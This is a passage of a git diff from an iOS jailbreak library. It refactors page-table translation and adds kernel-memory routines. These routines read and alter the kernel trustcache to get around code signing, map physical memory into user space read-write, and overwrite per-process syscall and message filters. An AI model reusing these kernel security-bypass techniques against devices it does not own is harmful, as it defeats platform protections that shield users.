(access(path, R_OK) != 0) return; - - __block cdhash_t *cdhashes = NULL; - __block uint32_t cdhashCount = 0; - - bool (^cdhashesContains)(cdhash_t) = ^bool(cdhash_t cdhash) { - for (int i = 0; i < cdhashCount; i++) { - if (!memcmp(cdhashes[i], cdhash, sizeof(cdhash_t))) { - return true; - } - } - return false; - }; - - void (^cdhashesAdd)(cdhash_t) = ^(cdhash_t cdhash) { - cdhashCount++; - cdhashes = realloc(cdhashes, cdhashCount * sizeof(cdhash_t)); - memcpy(cdhashes[cdhashCount-1], cdhash, sizeof(cdhash_t)); - }; - - FAT *mainFAT = fat_init_from_path(path); - if (!mainFAT) return; - MachO *mainMachO = ljb_fat_find_preferred_slice(mainFAT); - if (!mainMachO) { - fat_free(mainFAT); - return; - } - if (macho_get_filetype(mainMachO) == MH_EXECUTE) { - callerPath = path; - } - - __weak __block void (^machoAddHandler_recurse)(MachO *, const char *); - void (^machoAddHandler)(MachO *, const char *) = ^(MachO *macho, const char *machoPath) { - // Calculate cdhash and add it to our array - bool cdhashWasKnown = true; - bool isAdhocSigned = false; - CS_SuperBlob *superblob = macho_read_code_signature(macho); - if (superblob) { - CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob); - if (decodedSuperblob) { - if (csd_superblob_is_adhoc_signed(decodedSuperblob)) { - isAdhocSigned = true; - cdhash_t cdhash; - if (csd_superblob_calculate_best_cdhash(decodedSuperblob, cdhash) == 0) { - if (!cdhashesContains(cdhash)) { - if (!is_cdhash_trustcached(cdhash)) { - // If something is trustcached we do not want to add it to your array - // We do want to parse it's dependencies however, as one may have been updated since we added the binary to trustcache - // Potential optimization: If trustcached, save in some array so we don't recheck - cdhashesAdd(cdhash); - } - cdhashWasKnown = false; - } - } - } - csd_superblob_free(decodedSuperblob); - } - free(superblob); - } - - if (cdhashWasKnown) return; // If we already knew the cdhash, we can skip parsing dependencies - if (!isAdhocSigned) return; // If it was not ad hoc signed, we can safely skip it aswell - - // Collect rpaths... - NSMutableArray *rpaths = [NSMutableArray new]; - macho_enumerate_rpaths(macho, ^(const char *rpathC, bool *stop) { - NSString *rpath = [NSString stringWithUTF8String:rpathC]; - [rpaths addObject:rpath]; - }); - - // Recurse this block on all dependencies - macho_enumerate_dependencies(macho, ^(const char *dylibPathC, uint32_t cmd, struct dylib* dylib, bool *stop) { - if (_dyld_shared_cache_contains_path(dylibPathC)) return; - NSString *dylibPath = [NSString stringWithUTF8String:dylibPathC]; - NSString *loaderPath = [NSString stringWithUTF8String:machoPath]; - NSString *executablePath = callerPath ? [NSString stringWithUTF8String:callerPath] : loaderPath; - dylibPath = resolveLoadPath(dylibPath, loaderPath, executablePath, rpaths); - if ([[NSFileManager defaultManager] fileExistsAtPath:dylibPath]) { - FAT *dependencyFAT = fat_init_from_path(dylibPath.fileSystemRepresentation); - if (dependencyFAT) { - MachO *dependencyMacho = ljb_fat_find_preferred_slice(dependencyFAT); - if (dependencyMacho) { - machoAddHandler_recurse(dependencyMacho, dylibPath.fileSystemRepresentation); - } - fat_free(dependencyFAT); - } - } - }); - }; - machoAddHandler_recurse = machoAddHandler; - - machoAddHandler(mainMachO, path); - fat_free(mainFAT); - - *cdhashesOut = cdhashes; - *cdhashCountOut = cdhashCount; - } -} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/translation.c b/BaseBin/libjailbreak/src/translation.c index dd5912103b..6321e2a90b 100644 --- a/BaseBin/libjailbreak/src/translation.c +++ b/BaseBin/libjailbreak/src/translation.c @@ -5,11 +5,21 @@ #include #include +struct tt_level { + uint64_t offMask; + uint64_t shift; + uint64_t indexMask; + uint64_t validMask; + uint64_t typeMask; + uint64_t typeBlock; +}; +struct tt_level arm_tt_level[4]; + // Address translation physical <-> virtual +#define PTOV_TABLE_SIZE 8 uint64_t phystokv(uint64_t pa) { - const uint64_t PTOV_TABLE_SIZE = 8; struct ptov_table_entry { uint64_t pa; uint64_t va; @@ -37,51 +47,13 @@ uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint6 bool physical = !(bool)(tte_ttep & 0xf000000000000000); for (uint64_t curLevel = ROOT_LEVEL; curLevel <= LEAF_LEVEL; curLevel++) { - uint64_t offMask, shift, indexMask, validMask, typeMask, typeBlock; - switch (curLevel) { - case PMAP_TT_L0_LEVEL: { - offMask = ARM_16K_TT_L0_OFFMASK; - shift = ARM_16K_TT_L0_SHIFT; - indexMask = ARM_16K_TT_L0_INDEX_MASK; - validMask = ARM_TTE_VALID; - typeMask = ARM_TTE_TYPE_MASK; - typeBlock = ARM_TTE_TYPE_BLOCK; - break; - } - case PMAP_TT_L1_LEVEL: { - offMask = ARM_16K_TT_L1_OFFMASK; - shift = ARM_16K_TT_L1_SHIFT; - indexMask = kconstant(ARM_TT_L1_INDEX_MASK); - validMask = ARM_TTE_VALID; - typeMask = ARM_TTE_TYPE_MASK; - typeBlock = ARM_TTE_TYPE_BLOCK; - break; - } - case PMAP_TT_L2_LEVEL: { - offMask = ARM_16K_TT_L2_OFFMASK; - shift = ARM_16K_TT_L2_SHIFT; - indexMask = ARM_16K_TT_L2_INDEX_MASK; - validMask = ARM_TTE_VALID; - typeMask = ARM_TTE_TYPE_MASK; - typeBlock = ARM_TTE_TYPE_BLOCK; - break; - } - case PMAP_TT_L3_LEVEL: { - offMask = ARM_16K_TT_L3_OFFMASK; - shift = ARM_16K_TT_L3_SHIFT; - indexMask = ARM_16K_TT_L3_INDEX_MASK; - validMask = ARM_PTE_TYPE_VALID; - typeMask = ARM_PTE_TYPE_MASK; - typeBlock = ARM_TTE_TYPE_L3BLOCK; - break; - } - default: { - errno = 1041; - return 0; - } + if (curLevel > PMAP_TT_L3_LEVEL) { + errno = 1041; + return 0; } - uint64_t tteIndex = (va & indexMask) >> shift; + struct tt_level *lvlp = &arm_tt_level[curLevel]; + uint64_t tteIndex = (va & lvlp->indexMask) >> lvlp->shift; uint64_t tteEntry = 0; if (physical) { uint64_t tte_pa = tte_ttep + (tteIndex * sizeof(uint64_t)); @@ -101,14 +73,14 @@ uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint6 return 0; } - if ((tteEntry & validMask) != validMask) { + if ((tteEntry & lvlp->validMask) != lvlp->validMask) { errno = 1042; return 0; } - if ((tteEntry & typeMask) == typeBlock) { + if ((tteEntry & lvlp->typeMask) == lvlp->typeBlock) { // Found block mapping, no matter what level we are in, this is the end - return ((tteEntry & ARM_TTE_PA_MASK & ~offMask) | (va & offMask)); + return ((tteEntry & ARM_TTE_PA_MASK & ~lvlp->offMask) | (va & lvlp->offMask)); } if (physical) { @@ -137,6 +109,77 @@ uint64_t kvtophys(uint64_t va) void libjailbreak_translation_init(void) { + // A9+: Kernel uses 16K pages + if (vm_real_kernel_page_size == 0x4000) { + arm_tt_level[0] = (struct tt_level){ + .offMask = ARM_16K_TT_L0_OFFMASK, + .shift = ARM_16K_TT_L0_SHIFT, + .indexMask = ARM_16K_TT_L0_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[1] = (struct tt_level){ + .offMask = ARM_16K_TT_L1_OFFMASK, + .shift = ARM_16K_TT_L1_SHIFT, + .indexMask = kconstant(ARM_TT_L1_INDEX_MASK), + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[2] = (struct tt_level){ + .offMask = ARM_16K_TT_L2_OFFMASK, + .shift = ARM_16K_TT_L2_SHIFT, + .indexMask = ARM_16K_TT_L2_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[3] = (struct tt_level){ + .offMask = ARM_16K_TT_L3_OFFMASK, + .shift = ARM_16K_TT_L3_SHIFT, + .indexMask = ARM_16K_TT_L3_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_L3BLOCK, + }; + } + // A8: Kernel uses 4k pages + else if (vm_real_kernel_page_size == 0x1000) { + arm_tt_level[0] = (struct tt_level){ + .offMask = ARM_4K_TT_L0_OFFMASK, + .shift = ARM_4K_TT_L0_SHIFT, + .indexMask = ARM_4K_TT_L0_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[1] = (struct tt_level){ + .offMask = ARM_4K_TT_L1_OFFMASK, + .shift = ARM_4K_TT_L1_SHIFT, + .indexMask = kconstant(ARM_TT_L1_INDEX_MASK), + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[2] = (struct tt_level){ + .offMask = ARM_4K_TT_L2_OFFMASK, + .shift = ARM_4K_TT_L2_SHIFT, + .indexMask = ARM_4K_TT_L2_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[3] = (struct tt_level){ + .offMask = ARM_4K_TT_L3_OFFMASK, + .shift = ARM_4K_TT_L3_SHIFT, + .indexMask = ARM_4K_TT_L3_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_L3BLOCK, + }; + } + gPrimitives.phystokv = phystokv; gPrimitives.vtophys = vtophys; } \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/trustcache.c b/BaseBin/libjailbreak/src/trustcache.c index ee95b9fe7e..6fe278efeb 100644 --- a/BaseBin/libjailbreak/src/trustcache.c +++ b/BaseBin/libjailbreak/src/trustcache.c @@ -133,7 +133,7 @@ void _jb_trustcache_enumerate(void (^enumerateBlock)(uint64_t jbTcKaddr, bool *s }); } -void _jb_trustcache_clear(void) +void jb_trustcache_clear(void) { _jb_trustcache_enumerate(^(uint64_t jbTcKaddr, bool *stop) { kwrite64(jbTcKaddr + offsetof(jb_trustcache, file.length), 0); @@ -219,12 +219,33 @@ int jb_trustcache_add_entry(struct trustcache_entry_v1 entry) int jb_trustcache_add_directory(const char *directoryPath) { -} +}*/ -void jb_trustcache_rebuild(void) +xpc_object_t jb_trustcache_info(void) { + xpc_object_t arr = xpc_array_create_empty(); + _jb_trustcache_enumerate(^(uint64_t jbTcKaddr, bool *stop) { + uuid_t uuid; + kreadbuf(jbTcKaddr + offsetof(jb_trustcache, file.uuid), (void *)uuid, sizeof(uuid)); + uint32_t length = kread32(jbTcKaddr + offsetof(jb_trustcache, file.length)); -}*/ + xpc_object_t tcDict = xpc_dictionary_create_empty(); + xpc_dictionary_set_data(tcDict, "uuid", &uuid, sizeof(uuid)); + + xpc_object_t hashesArr = xpc_array_create_empty(); + for (int i = 0; i < length; i++) { + trustcache_entry_v1 entry; + kreadbuf(jbTcKaddr + offsetof(jb_trustcache, file.entries[i]), &entry, sizeof(entry)); + xpc_array_set_data(hashesArr, XPC_ARRAY_APPEND, &entry.hash, sizeof(entry.hash)); + } + xpc_dictionary_set_value(tcDict, "cdhashes", hashesArr); + xpc_release(hashesArr); + + xpc_array_append_value(arr, tcDict); + xpc_release(tcDict); + }); + return arr; +} void jb_trustcache_debug_print(FILE *f) { @@ -363,7 +384,7 @@ int trustcache_file_build_from_path(const char *filePath, trustcache_file_v1 **t return 0; } -bool is_cdhash_in_trustcache(uint64_t tcKaddr, cdhash_t CDHash) +bool trustcache_contains_cdhash(uint64_t tcKaddr, cdhash_t CDHash) { uint64_t tcFileKaddr = kread64(tcKaddr + koffsetof(trustcache, fileptr)); uint32_t length = kread32(tcFileKaddr + offsetof(trustcache_file_v1, length)); @@ -393,7 +414,7 @@ bool is_cdhash_trustcached(cdhash_t CDHash) { __block bool inTrustCache = false; _trustcache_list_enumerate(^(uint64_t tcKaddr, bool *stop) { - bool inThisTrustCache = is_cdhash_in_trustcache(tcKaddr, CDHash); + bool inThisTrustCache = trustcache_contains_cdhash(tcKaddr, CDHash); if (inThisTrustCache) { inTrustCache = true; *stop = true; diff --git a/BaseBin/libjailbreak/src/trustcache.h b/BaseBin/libjailbreak/src/trustcache.h index 397032b79a..bed1e24757 100644 --- a/BaseBin/libjailbreak/src/trustcache.h +++ b/BaseBin/libjailbreak/src/trustcache.h @@ -6,6 +6,7 @@ #include #include #include "trustcache_structs.h" +#include #define BASEBIN_TRUSTCACHE_UUID (uuid_t){'B','A','S','E','B','I','N','\0','\0','\0','\0','\0','\0','\0','\0','\0'} #define DYLD_TRUSTCACHE_UUID (uuid_t){'D','Y','L','D','\0','\0','\0','\0','\0','\0','\0','\0','\0','\0','\0','\0'} @@ -15,6 +16,9 @@ int trustcache_list_insert(uint64_t tcKaddr); int jb_trustcache_add_entries(struct trustcache_entry_v1 *entries, uint32_t entryCount); int jb_trustcache_add_entry(trustcache_entry_v1 entry); int jb_trustcache_add_cdhashes(cdhash_t *hashes, uint32_t hashCount); +xpc_object_t jb_trustcache_info(void); +void jb_trustcache_clear(void); + //int jb_trustcache_add_file(const char *filePath); //int jb_trustcache_add_directory(const char *directoryPath); //void jb_trustcache_rebuild(void); diff --git a/BaseBin/libjailbreak/src/util.c b/BaseBin/libjailbreak/src/util.c index f9282e7d67..d26de02cd0 100644 --- a/BaseBin/libjailbreak/src/util.c +++ b/BaseBin/libjailbreak/src/util.c @@ -7,11 +7,39 @@ #include #include #include +#include #include #include #include +#include +#include +#include +#include +#include +#include +#include extern char **environ; +#define FAKE_PHYSPAGE_TO_MAP 0x13370000 + +#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1 +extern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t); +extern int posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t); +extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t); +int posix_spawnattr_set_registered_ports_np(posix_spawnattr_t * __restrict attr, mach_port_t portarray[], uint32_t count); + +const struct mach_header *get_mach_header(const char *name) +{ + const struct mach_header *mh = NULL; + for (int i = 0; i < _dyld_image_count(); i++) { + if (!strcmp(_dyld_get_image_name(i), name)) { + mh = _dyld_get_image_header(i); + break; + } + } + return mh; +} + void proc_iterate(void (^itBlock)(uint64_t, bool*)) { uint64_t proc = ksymbol(allproc); @@ -28,7 +56,6 @@ uint64_t proc_self(void) static uint64_t gSelfProc = 0; static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ - bool needsRelease = false; gSelfProc = proc_find(getpid()); // decrement ref count again, we assume proc_self will exist for the whole lifetime of this process proc_rele(gSelfProc); @@ -66,6 +93,26 @@ uint64_t pmap_self(void) return gSelfPmap; } +uint64_t ttep_self(void) +{ + static uint64_t gSelfTTEP = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + gSelfTTEP = kread_ptr(pmap_self() + koffsetof(pmap, ttep)); + }); + return gSelfTTEP; +} + +uint64_t tte_self(void) +{ + static uint64_t gSelfTTE = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + gSelfTTE = kread_ptr(pmap_self() + koffsetof(pmap, tte)); + }); + return gSelfTTE; +} + uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port) { uint64_t itk_space = kread_ptr(task + koffsetof(task, itk_space)); @@ -84,8 +131,6 @@ uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port) uint64_t alloc_page_table_unassigned(void) { - thread_caffeinate_start(); - uint64_t pmap = pmap_self(); uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); @@ -108,7 +153,7 @@ uint64_t alloc_page_table_unassigned(void) uint64_t pvh = pai_to_pvh(pa_index(allocatedPT)); uint64_t ptdp = pvh_ptd(pvh); - uint64_t pinfo = kread64(ptdp + koffsetof(pt_desc, ptd_info)); // TODO: Fake 16k devices (4 values) + uint64_t pinfo = kread64(ptdp + koffsetof(pt_desc, ptd_info)); pinfo_pa = kvtophys(pinfo); uint16_t refCount = physread16(pinfo_pa); @@ -117,7 +162,6 @@ uint64_t alloc_page_table_unassigned(void) free(free_lvl2); continue; } - break; } @@ -174,8 +218,6 @@ uint64_t alloc_page_table_unassigned(void) //int page_table_ledger = physread32(ledger_pa + koffsetof(_task_ledger_indices, page_table)); //physwrite32(ledger_pa + koffsetof(_task_ledger_indices, page_table), page_table_ledger - 1); - thread_caffeinate_stop(); - return allocatedPT; } @@ -200,67 +242,228 @@ uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va) // On A14+ PT_INDEX_MAX is 4, for whatever reason // However in practice, only the first slot is used... - // TODO: On devices where kernel page size != userland page size, populate all 4 values - physwrite64(ptdp_pa + koffsetof(pt_desc, va), va); + for (uint64_t po = 0; po < vm_page_size; po += vm_real_kernel_page_size) { + physwrite64(ptdp_pa + koffsetof(pt_desc, va) + (po / vm_page_size), va + po); + } return tt_p; } +int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size) +{ + uint64_t ttep = kread_ptr(pmap + koffsetof(pmap, ttep)); + + if (is_kcall_available()) { + uint64_t unmappedStart = 0, unmappedSize = 0; + + uint64_t l2Start = vaStart & ~L2_BLOCK_MASK; + uint64_t l2End = (vaStart + (size - 1)) & ~L2_BLOCK_MASK; + uint64_t l2Count = ((l2End - l2Start) / L2_BLOCK_SIZE) + 1; + + for (uint64_t i = 0; i <= l2Count; i++) { + uint64_t curL2 = l2Start + (i * L2_BLOCK_SIZE); + + uint64_t leafLevel = PMAP_TT_L3_LEVEL; + uint64_t pt3 = 0; + vtophys_lvl(ttep, curL2, &leafLevel, &pt3); + if (leafLevel == PMAP_TT_L3_LEVEL || i == l2Count) { + // i == l2Count: one extra cycle that this for loop takes + // We hit this block either if there was a mapping or at the end + // Alloc page tables for the current area (unmappedStart, unmappedSize) by running pmap_enter_options on every page + // And then running pmap_remove on the entire area while nested is true + + for (uint64_t l2Off = 0; l2Off < unmappedSize; l2Off += L2_BLOCK_SIZE) { + kern_return_t kr = pmap_enter_options_addr(pmap, FAKE_PHYSPAGE_TO_MAP, unmappedStart + l2Off); + if (kr != KERN_SUCCESS) { + return -7; + } + } + + // Set type to nested + physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 3); + + // Remove mapping (table will stay cause nested is set) + pmap_remove(pmap, unmappedStart, unmappedStart + unmappedSize); + + // Change type back + physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 0); + + unmappedStart = 0; + unmappedSize = 0; + continue; + } + else { + if (unmappedStart == 0) { + unmappedStart = curL2; + } + unmappedSize += L2_BLOCK_SIZE; + } + } + } + else { + uint64_t l2Start = (vaStart & ~L2_BLOCK_MASK); + uint64_t l2End = (((vaStart + size) + (L2_BLOCK_SIZE-1)) & ~L2_BLOCK_MASK); + for (uint64_t va = l2Start; va < l2End; va += L2_BLOCK_SIZE) { + uint64_t leafLevel; + do { + leafLevel = PMAP_TT_L3_LEVEL; + uint64_t pte = 0; + vtophys_lvl(ttep, va, &leafLevel, &pte); + if (leafLevel != PMAP_TT_L3_LEVEL) { + uint64_t pt_va = 0; + switch (leafLevel) { + case PMAP_TT_L1_LEVEL: { + pt_va = va & ~L1_BLOCK_MASK; + break; + } + case PMAP_TT_L2_LEVEL: { + pt_va = va & ~L2_BLOCK_MASK; + break; + } + } + leafLevel++; + uint64_t newTable = pmap_alloc_page_table(pmap, pt_va); + if (newTable) { + physwrite64(pte, newTable | ARM_TTE_VALID | ARM_TTE_TYPE_TABLE); + } + else { + return -2; + } + } + } while (leafLevel < PMAP_TT_L3_LEVEL); + } + } + return 0; +} + int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size) { - thread_caffeinate_start(); + uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); + uint64_t paEnd = paStart + size; uint64_t uaEnd = uaStart + size; - uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); + + uint64_t uaL2Start = uaStart & ~L2_BLOCK_MASK; + uint64_t uaL2End = ((uaStart + size - 1) + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK; + + uint64_t paL2Start = paStart & ~L2_BLOCK_MASK; + uint64_t l2Count = (((uaL2End - uaL2Start) - 1) / L2_BLOCK_SIZE) + 1; // Sanity check: Ensure the entire area to be mapped in is not mapped to anything yet - for(uint64_t ua = uaStart; ua < uaEnd; ua += PAGE_SIZE) { - if (vtophys(ttep, ua)) { thread_caffeinate_stop(); return -1; } + for(uint64_t ua = uaStart; ua < uaEnd; ua += vm_real_kernel_page_size) { + uint64_t leafLevel = PMAP_TT_L3_LEVEL; + if (vtophys_lvl(ttep, ua, &leafLevel, NULL) != 0) { + return -1; + } + else { + // Performance improvement + // If there is no L1 / L2 mapping we can skip a whole bunch of addresses + if (leafLevel == PMAP_TT_L1_LEVEL) { + ua = (((ua + L1_BLOCK_SIZE) & ~L1_BLOCK_MASK) - vm_real_kernel_page_size); + } + else if (leafLevel == PMAP_TT_L2_LEVEL) { + ua = (((ua + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK) - vm_real_kernel_page_size); + } + } + + if (vtophys(ttep, ua)) return -1; // TODO: If all mappings match 1:1, maybe return 0 instead of -1? } // Allocate all page tables that need to be allocated - for(uint64_t ua = uaStart; ua < uaEnd; ua += PAGE_SIZE) { - uint64_t leafLevel; - do { - leafLevel = PMAP_TT_L3_LEVEL; - uint64_t pt = 0; - vtophys_lvl(ttep, ua, &leafLevel, &pt); - if (leafLevel != PMAP_TT_L3_LEVEL) { - uint64_t pt_va = 0; - switch (leafLevel) { - case PMAP_TT_L1_LEVEL: { - pt_va = ua & ~L1_BLOCK_MASK; - break; - } - case PMAP_TT_L2_LEVEL: { - pt_va = ua & ~L2_BLOCK_MASK; - break; - } - } - uint64_t newTable = pmap_alloc_page_table(pmap, pt_va); - if (newTable) { - physwrite64(pt, newTable | ARM_TTE_VALID | ARM_TTE_TYPE_TABLE); - } - else { thread_caffeinate_stop(); return -2; } - } - } while (leafLevel < PMAP_TT_L3_LEVEL); - } + if (pmap_expand_range(pmap, uaStart, size) != 0) return -1; // Insert entries into L3 pages - for(uint64_t ua = uaStart; ua < uaEnd; ua += PAGE_SIZE) { - uint64_t pa = (ua - uaStart) + paStart; - uint64_t leafLevel = PMAP_TT_L3_LEVEL; - uint64_t pt = 0; + uint64_t curPA = paStart; + for (uint64_t i = 0; i < l2Count; i++) { + uint64_t uaL2Cur = uaL2Start + (i * L2_BLOCK_SIZE); + + // Current L2 range + uint64_t uaL2CurStart = uaL2Cur; + uint64_t uaL2CurEnd = uaL2Cur + L2_BLOCK_SIZE; + + // Round to passed boundary if neccessary + if (uaStart > uaL2CurStart) uaL2CurStart = uaStart; + if (uaEnd < uaL2CurEnd) uaL2CurEnd = uaEnd; + + // Create full table for this mapping + uint64_t tableToWrite[L2_BLOCK_COUNT]; + memset(tableToWrite, 0, sizeof(tableToWrite)); + for (uint64_t curUA = uaL2CurStart; curUA < uaL2CurEnd; curUA += vm_real_kernel_page_size, curPA += vm_real_kernel_page_size) { + int idx = (curUA - uaL2Cur) / vm_real_kernel_page_size; + tableToWrite[idx] = curPA | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY; + } - vtophys_lvl(ttep, ua, &leafLevel, &pt); - physwrite64(pt, pa | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY); + // Replace table with the entries we generated + uint64_t leafLevel = PMAP_TT_L2_LEVEL; + uint64_t level2Table = vtophys_lvl(ttep, uaL2Cur, &leafLevel, NULL); + if (!level2Table) return -2; + physwritebuf(level2Table, tableToWrite, vm_real_kernel_page_size); } - thread_caffeinate_stop(); return 0; } +#ifdef __arm64e__ + +uint64_t pmap_find_main_binary_code_dir(uint64_t pmap) +{ + uint64_t mainCodeDir = 0; + uint64_t pmap_cs_region = kread_ptr(pmap + koffsetof(pmap, pmap_cs_main)); + while (pmap_cs_region && !mainCodeDir) { + uint64_t pmap_cs_code_dir = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, cd_entry)); + while (pmap_cs_code_dir) { + _Bool mainBinary = kread64(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, main_binary)); + if (mainBinary) { + mainCodeDir = pmap_cs_code_dir; + break; + } + pmap_cs_code_dir = kread_ptr(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, pmap_cs_code_directory_next)); + } + pmap_cs_region = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, pmap_cs_region_next)); + } + return mainCodeDir; +} + +uint64_t proc_find_main_binary_code_dir(uint64_t proc) +{ + uint64_t task = proc_task(proc); + uint64_t map = kread_ptr(task + koffsetof(task, map)); + uint64_t pmap = kread_ptr(map + koffsetof(vm_map, pmap)); + return pmap_find_main_binary_code_dir(pmap); +} + +uint32_t pmap_cs_trust_string_to_int(const char *trustString) +{ + int trustInt = 0; + if (__builtin_available(iOS 16.0, *)) { + if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0; + else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1; + else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2; + else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3; + else if (!strcmp(trustString, "PMAP_CS_OOP_JIT")) trustInt = 4; + else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 5; + else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 6; + else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 7; + else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 8; + else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 9; + } + else { + if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0; + else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1; + else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2; + else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3; + else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 4; + else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 5; + else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 6; + else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 7; + else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 8; + } + return trustInt; +} + +#endif + int sign_kernel_thread(uint64_t proc, mach_port_t threadPort) { uint64_t threadKobj = task_get_ipc_port_kobject(proc_task(proc), threadPort); @@ -304,37 +507,217 @@ uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt) return kpacda(UNSIGN_PTR(pointer), modifier); } -int exec_cmd(const char *binary, ...) +int kwrite1_bits(uint64_t startPtr, uint32_t bitCount) { - int argc = 1; - va_list args; - va_start(args, binary); - while (va_arg(args, const char *)) argc++; - va_end(args); + uint32_t byteSize = ceil((float)bitCount / 8); + uint8_t buf[byteSize]; + + for (uint32_t i = 0; i < bitCount; i += 8) { + uint32_t rem = (bitCount - i); + if (rem < 8) { + for (int y = 0; y < rem; y++) { + buf[i/8] |= (1 << y); + } + } + else { + buf[i/8] = 0xff; + } + } - va_start(args, binary); + return kwritebuf(startPtr, buf, byteSize); +} + +void proc_allow_all_syscalls(uint64_t proc) +{ + if (!gSystemInfo.kernelStruct.proc_ro.exists) return; + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + + uint64_t bsdFilter = kread_ptr(proc_ro + koffsetof(proc_ro, syscall_filter_mask)); + uint64_t machFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_trap_filter_mask)); + uint64_t machKobjFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_kobj_filter_mask)); + + if (bsdFilter) { + kwrite1_bits(bsdFilter, kconstant(nsysent)); + } + if (machFilter) { + kwrite1_bits(machFilter, kconstant(mach_trap_count)); + } + if (machKobjFilter) { + kwrite1_bits(machKobjFilter, kread64(ksymbol(mach_kobj_count))); + } +} + +void proc_remove_msg_filter(uint64_t proc) +{ + if (__builtin_available(iOS 16.0, *)) { + #define TFRO_FILTER_MSG 0x00004000 + + if (koffsetof(proc_ro, t_flags_ro)) { + // iOS 16.1+ + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + uint32_t t_flags = kread32(proc_ro + koffsetof(proc_ro, t_flags_ro)); + kwrite32(proc_ro + koffsetof(proc_ro, t_flags_ro), t_flags & ~TFRO_FILTER_MSG); + } + else if (koffsetof(task, flags)) { + // iOS 16.0.x + uint64_t task = proc_task(proc); + uint32_t t_flags = kread32(task + koffsetof(task, flags)); + kwrite32(task + koffsetof(task, flags), t_flags & ~TFRO_FILTER_MSG); + } + } +} + +int cmd_wait_for_exit(pid_t pid) +{ + int status = 0; + do { + if (waitpid(pid, &status, 0) == -1) { + return -1; + } + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + return status; +} + +int __exec_cmd_internal_va(bool suspended, bool root, bool waitForExit, pid_t *pidOut, const char *binary, int argc, va_list va_args, char **envp) +{ const char 